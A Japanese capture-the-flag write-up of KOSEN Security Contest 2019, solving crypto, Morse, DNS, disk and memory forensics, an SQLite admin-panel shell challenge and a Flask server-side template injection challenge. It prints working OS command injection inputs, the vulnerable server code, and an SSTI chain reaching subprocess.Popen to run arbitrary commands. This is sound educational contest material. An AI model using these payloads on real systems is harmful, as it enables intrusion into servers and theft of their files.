KOSENセキュリティコンテスト2019( #sckosen )に参加したおはなし

はじめに

高専セキュリティコンテスト2019に参加したので, 備忘録として解けた問題のWriteupを書きます. 競技時間が6時間と, 例年に比べかなり短い時間で, ほとんどの問題のアーカイブを取り忘れてしまったので, 思い出せる限りで書きます.

コンテストにはLynT4χとして, 4人で出場して, 途中まで十何位とか二十何位とかにいたんですが, なんとか優勝することができました. 配点が高い問題が結構ツールでサクッと解けちゃったりして, 少し配点ミスな気もしましたし, そこが勝因にもなったのかなと思います.

flag
やったー

目次

01 回答は半角で (Crypto 50)

パーセントエンコーディングされた文字列が与えられ, デコードすると全角のフラグが現れるので, 半角に変換して提出するだけ. フラグは忘れました.

10 ツートントン (Misc 100)

一番最後に提出して決勝点となった問題. 次のような画像が与えられ, 問題タイトルから, モールス信号であると想定します.

image.png
image.png

デコード方法はほとんどチームメンバーが見つけてくれたので, ぼくはそれを聞きながらPythonでデコードスクリプトを書きました.

以下のサイトを見て, デコード方法を見つけたそうです.

このサイトによれば,

モールス符号には、短点の長さを基準に長点の長さ、 符号間や単語間の長さ(間隔)が決められています。

短点の長さを1とすると 長点の長さは、短点3点分。 一つの符号を作る長点や、短点との間隔は、短点1点分 符号間は3短点分、単語間は7短点分空けることとなっているため 短点一つのEを EEやEEEと打ってもIやSにならないのです。

とのこと.

今回の問題では, 短点の長さを1とすると, モールス信号として成り立たなくなってしまうので, 短点の長さを2と仮定して, デコードを進めます. 短点の長さが2になるので, 上記のサイトの通りに考えれば, 長点の長さは短点6つ分. 文字間の間隔は6短点分, 単語間は14短点分となります.

ただし, なぜか今回の問題では, 長点の長さだけ上記のサイトとは違い, 短点5つ分だったのが, 解くのに時間がかかってしまったポイントだと思います.

ここまでをまとめると, 今回の問題では, 以下のような表をもとに, 画像から色を抽出し, モールス信号に変換後, 文字列に戻してあげればよさそうです.

意味
短点 黒黒
長点 黒黒黒黒黒
文字区切り 白白白白白白
単語区切り 白白白白白白白白白白白白白白

ということで, 以下のようなスクリプトでデコードをします.

from PIL import Image

MORSE_CODE_DICT = {
    'A':'.-', 'B':'-...',
    'C':'-.-.', 'D':'-..', 'E':'.',
    'F':'..-.', 'G':'--.', 'H':'....',
    'I':'..', 'J':'.---', 'K':'-.-',
    'L':'.-..', 'M':'--', 'N':'-.',
    'O':'---', 'P':'.--.', 'Q':'--.-',
    'R':'.-.', 'S':'...', 'T':'-',
    'U':'..-', 'V':'...-', 'W':'.--',
    'X':'-..-', 'Y':'-.--', 'Z':'--..',
    '1':'.----', '2':'..---', '3':'...--',
    '4':'....-', '5':'.....', '6':'-....',
    '7':'--...', '8':'---..', '9':'----.',
    '0':'-----', ', ':'--..--', '.':'.-.-.-',
    '?':'..--..', '/':'-..-.', '-':'-....-',
    '{':'-.--.', '}':'-.--.-', '=':'-...-'
}
MORSE_REV_DICT = {v:k for k,v in MORSE_CODE_DICT.items()}

img = Image.open("image.png")
px = list(img.getdata())[1:]
s = "".join(["0" if c==0 else "1" for c in px])
codes = [w.split("1"*6) for w in s.split("1"*14)]
flag = ""
for i in range(len(codes)):
    for j in range(len(codes[i])):
        if codes[i][j] != '':
            codes[i][j] = codes[i][j].replace("00000", "-")
            codes[i][j] = codes[i][j].replace("00", ".")
            codes[i][j] = codes[i][j].replace("11", "")
            flag += MORSE_REV_DICT[codes[i][j]]
    flag += " "

print(flag)

このスクリプトを実行すると, フラグが得られます.

$ python solve.py 
THIS IS MORSE CODE. CAN YOU FIND THE FLAG? THE FLAG IS CTFKIT{TUU=TON=TON=TUU=TON} HAHA,  CAN YOU FIND IT? 

FLAG: CTFKIT{TUU=TON=TON=TUU=TON}

11 新人エンジニアの発明 (Misc 100)

新人がこれ開発しました!, ええ..大丈夫?みたいな問題.

nc 34.84.50.179 80でアクセスすると, 下記のようなプロンプトが出力されます.

$ nc 34.84.50.179 80
Ultra Admin Panel
You can full control and access.
Please Enter Query:

Please Enter Query:とあるので, SQLを入れてみると, データベースっぽいエラー文が返ってきます. エラー文の文面や, .schemaなどが使えることから, SQLiteであると判断できます.

Please Enter Query: test
Error: near "test": syntax error
Please Enter Query: .schema
CREATE TABLE user(id integer, name text, old integer);

このあと, .tableコマンドでテーブル一覧を表示させて, userテーブルが見つかったので, 中を見たんですがフラグっぽいものはなにもなかったです. そこで, シェルを取るのかなあと考えて, SQLiteはあまり触ったことがないので, とりあえず.helpとかでなにか組み込みの関数でシェルを取れるコマンドがないかを探しました.

Please Enter Query: .help
.auth ON|OFF           Show authorizer callbacks
.backup ?DB? FILE      Backup DB (default "main") to FILE

...

.shell CMD ARGS...     Run CMD ARGS... in a system shell

...

.width NUM1 NUM2 ...   Set column widths for "column" mode
                         Negative values right-justify

ビンゴ!ということで, .shellコマンドで下記の通りにフラグを得られます. そういえば, なんでcatだとhiしか出力されなかったのに, grepだとヒットしたんだろう...

$ nc 34.84.50.179 80
Ultra Admin Panel
You can full control and access.
Please Enter Query: .shell ls
flag.txt
hogehoge.txt
main.py
myadata
ydata
mydata.back
out.txt
user.back
userdata.txt

$ nc 34.84.50.179 80
Ultra Admin Panel
You can full control and access.
Please Enter Query: .shell cat flag.txt
hi

$ nc 34.84.50.179 80
Ultra Admin Panel
You can full control and access.
Please Enter Query: .shell grep -r CTFKIT ./
./flag.txt:CTFKIT{be_careful_os_com_injection}

せっかくなので, main.pyも手に入れることができたので, 下記に載せておきます.

#!/usr/bin/env python3
import os
import subprocess

# make user table
cmd = 'sqlite3 -line mydata.db \'create table user(id integer, name text, old integer);\' '
os.system(cmd)

# import user
cmd = 'sqlite3 -line mydata.db \'.import ./userdata.txt user\''
os.system(cmd)

# console
print("Ultra Admin Panel")
print("You can full control and access.")

sql = input("Please Enter Query: ")
cmd = 'sqlite3 -line mydata.db \'' + sql + '\''

out = subprocess.run(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True)
print(out.stdout.decode())

# clean db
cmd = 'rm mydata.db'
os.system(cmd)

コードを見る感じでは, 18行目で入力値をそのまま連結してOSコマンドを呼び出しているので, そこでOSコマンドインジェクションするのが, 想定解だったんですかね. ということで, '; grep -r CTFKIT ./ #でOSコマンドインジェクションしてもフラグが得られるようです.

$ nc 34.84.50.179 80
Error: cannot open "./userdata.txt"
Ultra Admin Panel
You can full control and access.
Please Enter Query: '; grep -r CTFKIT ./ #
./flag.txt:CTFKIT{be_careful_os_com_injection}

FLAG: CTFKIT{be_careful_os_com_injection}

13 名前を解決したい! (Network 150)

https://futuregadget-9.tech/にアクセスできないよ, みたいな問題.

dnsdumpster.comとかいうサイトがあるので, そこで調べると, TXTレコードになにやらIPアドレスが登録されています.

TXT Records ** Find more hosts in Sender Policy Framework (SPF) configurations

"ip=153.126.212.45"

curlでそのIPアドレスにアクセスして, フラグゲット.

$ curl http://153.126.212.45/
<html>
<head>
    <title>flag page</title>
</head>
<body>
    <p>CTFKIT{naki_nureshi_megami_no_kikan}</p>
</body>
</html>

FLAG: CTFKIT{naki_nureshi_megami_no_kikan}

15 最後に消したファイル (Forensics 200)

beelmama.7zというファイルが与えられます. 普通の7-zipファイルなので解凍して, もう一度fileコマンドで見てみます.

$ file beelmama.7z 
beelmama.7z: 7-zip archive data, version 0.4
$ 7z x beelmama.7z 

...

Everything is Ok

Size:       52428800
Compressed: 4207275
$ file beelmama
beelmama: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, Media descriptor 0xf8, sectors/FAT 100, sectors/track 32, heads 64, hidden sectors 2048, sectors 102400 (volumes > 32 MB), serial number 0x6d826f3d, unlabeled, FAT (16 bit)

どうやらイメージファイルのようなので, FTKImagerにインポートして, rootディレクトリ以下をエクスポートします. エクスポートしたものが以下になります(-aオプションを付けないと隠しファイルを見落としてしまうので気をつけましょう).

$ tree -a \[root\]/
[root]/
├── .flag
│   └── beelzebub.key
├── 1
├── 10
├── 2
├── 3
├── 4
├── 5
├── 6
├── 7
├── 8
├── 9
├── flag
│   └── mullin.encrypted
├── flag.txt
├── flag3.txt
├── flag_no.txt
└── test.txt

2 directories, 16 files

隠しフォルダのbeelzebub.keyが怪しいのでcatでみてみると, RSA秘密鍵が出てきます.

$ cat \[root\]/.flag/beelzebub.key 
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDY0YYMzR/sHGdsRjA7vdH+7NT042GUblG282bRZf0Yu+Sss6QU
jVw2laKt7nYz/FGr86K/YGc5Wk2fePujXtl6FnOADsmaAAUODlYyHOfiNjOitY3D
vooHIROiIGiv4lk/3EuJsmNkC7KYFFvEXQc0G4OWMgw9rIdoh7cScgUh9wIDAQAB
AoGBAMuf80IgfyNzBZqFTJU+z3KYH+QhjCondWzZqS1tmEZbaAbd63I11G2bGJ46
/x4RkO5psOYE9szBR3dG2yVyVdD9sAcrNCVxgx1ya7lvHkAI9mKreRmZTsUc3MKl
O3+mkK8CLJuaVDKzz3t0Fv0lbT9szqvq7i6N19vEvc0ilxgZAkEA69qNMn0zktGQ
BmbR61hUaOSQEjZTuMcpG1AqhPymgk2siCZQDrytRoG6TvqYPW9q1Ez4oUYgzOjv
ehaFR+ChQwJBAOtWuZ+lehSjpt5qlTEgFqmXYR/YvLBfp27yw7fLy+AswpQrwZPY
xVYIfKDjaDCrWAVCVVZE2CIDFE8CP9vEpz0CQQCguMpHgbJHdq9i7WZXrlW3NSpI
fuUGohGNH1AaV+FQIoZUMWeU41ZhGb5QW8yq8OYnzlwP6q4ndQTcecRReu3pAkAC
7iGBi13pw9/gBRO2eN/PXMMo0loHGCnNh9hIAZGYSPZjQeg3HwvV9mUW274AXSHL
bvgBCvpl8gPet/hzlA9BAkBmo2ywHcJICVjjK3io78T5QUbIYe2I8YwvAERaALuD
DQzHowZGb0uLoIeuJDqp7gx0NN4ZOp2CHdLLnLqhIIoR
-----END RSA PRIVATE KEY-----

次に, その他のファイルがなんのファイルかを一気に見てみると, dataが多いことがわかります. DIY-Thermocamみたいな変なファイルがあるのは, ヘッダが偶然一致したからだろうと考えて一旦無視します.

$ file \[root\]/* \[root\]/*/*
[root]/1:                     empty
[root]/10:                    empty
[root]/2:                     empty
[root]/3:                     empty
[root]/4:                     empty
[root]/5:                     empty
[root]/6:                     empty
[root]/7:                     empty
[root]/8:                     empty
[root]/9:                     empty
[root]/flag:                  directory
[root]/flag.txt:              data
[root]/flag3.txt:             data
[root]/flag_no.txt:           DIY-Thermocam raw data (Lepton 3.x), scale 26362-15752, spot sensor temperature 0.000000, color scheme 184, minimum point enabled, maximum point enabled, calibration: offset 330911508135053796531536641654784.000000, slope 37801753964579846679128103190528.000000
[root]/test.txt:              data
[root]/flag/mullin.encrypted: data

さて, ここでRSA秘密鍵と, 謎のdataファイルが揃ったところで, これらのファイルは秘密鍵によって暗号化されているのではないかとあたりをつけます. ということで, opensslコマンドのrsautlを使ってフラグファイルをdecryptすると, フラグが得られます.

$ cat \[root\]/flag/mullin.encrypted | openssl rsautl -decrypt -inkey \[root\]/.flag/beelzebub.key 
CTFKIT{Pandemonium_Mont_Blanc}

FLAG: CTFKIT{Pandemonium_Mont_Blanc}

16 メモリダンプ (Forensics 250)

問題文として, 怪しいプロセスが使う怪しいファイルが怪しいぞ的なsomethingと, memory.zipが与えられます. とりあえず, 解凍して, 出てきたファイルがなんのファイルかを見ると, どうやらWindowsのcrash dumpだそうです.

$ file memory.zip 
memory.zip: Zip archive data, at least v2.0 to extract
$ unzip memory.zip 
Archive:  memory.zip
  inflating: memory_win7.dmp         
$ ls
memory.zip      memory_win7.dmp
$ file memory_win7.dmp 
memory_win7.dmp: MS Windows 64bit crash dump, full dump, 65422 pages

まあとりあえず, メモリダンプといえばvolatilityでしょ!ということで, 問題文にあったプロセスを調査します.

$ export VOLATILITY_LOCATION=file://$HOME/memory_win7.dmp
$ export VOLATILITY_PROFILE=Win7SP0x64
$ vol.py pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa8000b0d870:csrss.exe                         324    308      9    350 2018-12-19 05:08:58 UTC+0000
 
...

. 0xfffffa80017f9750:svch0st.exe                      784   1832      5    155 2018-12-19 05:09:49 UTC+0000

...

. 0xfffffa8000b7c7b0:smss.exe                         248      4      2     29 2018-12-19 05:08:58 UTC+0000

プロセス名を一つずつ見ていくと, 明らかに不審なsvch0st.exe(Pid: 784)が見つかります. ということで, こいつをdumpします.

$ vol.py procdump -p 784 --dump-dir ./
Volatility Foundation Volatility Framework 2.6
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xfffffa80017f9750 0x0000000000270000 svch0st.exe          OK: executable.784.exe
$ file executable.784.exe 
executable.784.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

executableファイルが出てくるので, とりあえずstringsで表層解析すると, Base64っぽいものが見えます.

$ strings executable.784.exe 
!This program cannot be run in DOS mode.
.text
`.rsrc

...

PADPADP
-     Q1RGS0lUe29pcmFfaGFfZmxhZ19qeWFuZWVlZX0=
RSDS

...

    </security>
  </trustInfo>
</assembly>

ということで, base64でデコードするとフラグが得られます.

$ echo "Q1RGS0lUe29pcmFfaGFfZmxhZ19qeWFuZWVlZX0=" | base64 -D
CTFKIT{oira_ha_flag_jyaneeee}

FLAG: CTFKIT{oira_ha_flag_jyaneeee}

18 you are not admin (Web 250)

この問題は, ふぁーすとぶらっどだ!やった!と喜んでいたら最後まで誰にも解かれなかった問題(ちょっとうれしい)です. しかし残念ながら, ほとんどスクリーンショットなどを撮っていないので, 思い出したり, 手元に擬似環境を用意して書いていきます.

まず, 普通に与えられたURLにアクセスすると, You are not admin!的なことが言われます. cookieにセットされた値を見てみると, 以下のような値が設定されていることがわかります.

session: eyJpc19hZG1pbiI6ZmFsc2V9.XbPVjQ.VKjnCZbHyPhPEXANh0AnBGk_gQM

脳死で, cookie session ctfとかでggると, 下記サイトが一番上にヒットします.

ぱーっと見ていくと, 下記のようなこの問題とガッツリまんまの文言が見つかります.

問題ページにアクセスして、ブラウザの開発者ツールや EditThisCookie などで Cookie の値を確認すると、 session という Cookie の中に以下のような値が入っていると思います。 eyJ1c2VybmFtZSI6Imd1ZXN0In0.W_vMzg.g41aywjgtacuHnXixdM3UaG9wN4

サイトの文言に従って, セッションをドット区切りにした0番目の文字列をbase64でデコードしてみると, 次のような文字列が得られます.

$ echo eyJpc19hZG1pbiI6ZmFsc2V9 | base64 -D
{"is_admin":false}

この文字列から, このセッションを改ざんして, is_adminfalsetrueに改ざんして, adminになりすましてアクセスすればフラグを得られそうです.

ということで, このサイトを見ていくと, どうやらこの問題ではFlaskというフレームワークが使われている可能性が高く, このセッションを改ざんするためにはセッションのSECRET_KEYが必要であることがわかりました. そして, SECRET_KEYはサーバーサイドテンプレートインジェクション(SSTI)という脆弱性を利用して, config変数を参照できれば, 奪取することができることがわかりました.

ひとまず, SSTIを探してみm((すぐに見つかりました. 以下は, 疑似環境で当時の様子を再現しています. ここでは, 404 not found ページにて, ユーザーによって入力されたURLが検証なしに画面に出力されているようです. そこで, 以下のように, {{g}}といった値を入力してみると, ビンゴ!ということで, Flaskの特殊なグローバルオブジェクトであるg変数の展開ができました.

gをインジェクション
gをインジェクション

しかし, どうやらconfigselfといった単語がブロックされているのか, 一部の変数の展開ができませんでした. ここで, 方針を変えて, SSTIを介してOSコマンドインジェクションをしてシェルを取ることを目指しました. 具体的には, SSTIからのOSコマンドインジェクションの定石として知られている, Pythonのオブジェクトをたどって, OSコマンドを発行できるオブジェクトを探す方針にします.

以下に思い出せる限りの試行と, 結果を箇条書きで示していきます.

  • {{url_for.__globals__}}
    • 出力結果なし
  • {{''.__class__}}
    • ヒット: http://localhost:5000/<class 'str'>
  • {{''.__class__.__mro__}}
    • ヒット: http://localhost:5000/(<class 'str'>, <class 'object'>)
  • {{''.__class__.__mro__[1]}}
    • エラー
  • {{''.__class__.__mro__.pop(1)}}
    • エラー`
  • {{''.__class__.__base__}}
    • ヒット: http://localhost:5000/<class 'object'>
  • {{''.__class__.__base__.__subclasses__()}}
    • ヒット: http://localhost:5000/[<class 'type'>, ...(中略)..., <class 'subprocess.Popen'>, ...(後略)..., <class 'ctypes.LibraryLoader'>]

ここまでの試行を簡単に説明すると, まずはなんとかPythonの全てのクラスの基底オブジェクトである, <class 'object'>を探しています. 途中, __mro__というものが出てきていますが, 基底クラスを探索するときに利用される属性で, これによって<class 'str'>の基底クラスがタプルとして返されます. しかし, なぜか__mro__[1]という形でindexを指定してアクセスすることができず, タプルなため, pop(1)も使えませんでした. しばらく調べ直していると, __base__という属性を見つけて, 無事に基底オブジェクトである<class 'object'>を参照することに成功しました.

次に, 基底クラスのサブクラスからOSコマンドを呼び出せるオブジェクトを探します. これは, .__subclasses__()メソッドによって簡単に探し出すことができました. 今回は<class 'subprocess.Popen'>とかいうめちゃくちゃ便利なオブジェクトを見つけることができたので, 次の入力値で任意のコマンドを実行します. whoami部分の値を変えることで, 任意のコマンドを実行できます.

''.__class__.__base__.__subclasses__().pop(280)(["whoami"],shell=True,stdout=-1).communicate()

任意のコマンドが実行でき, シェルが取れたので, リバースシェルでもしようかと思ったのですが, めんどくさかったので, findコマンドでapp.pyを探した結果, /var/www/you_are_not_adminというディレクトリに存在することが確認できました. その中をlsコマンドで確認したところ, flag_1145141919810.txtというファイルを見つけました(ファイル名についてはあえて言及しません).

ということで, フラグを以下の入力値でcatしてフラグを得ます.

''.__class__.__base__.__subclasses__().pop(280)(["cat /var/www/you_are_not_admin/flag_1145141919810.txt"], shell=True, stdout=-1).communicate()

flag
flag

FLAG: CTFKIT{th1s_!s_1nsecure_s3rv3r}

おわりに

高専セキュリティコンテストは2016年にB部門()で優勝してから, 3年ぶりの優勝となりました. 以前に比べたら, 自分が貢献できる量も増えたかなと思うので, 今後も精進していきたいです.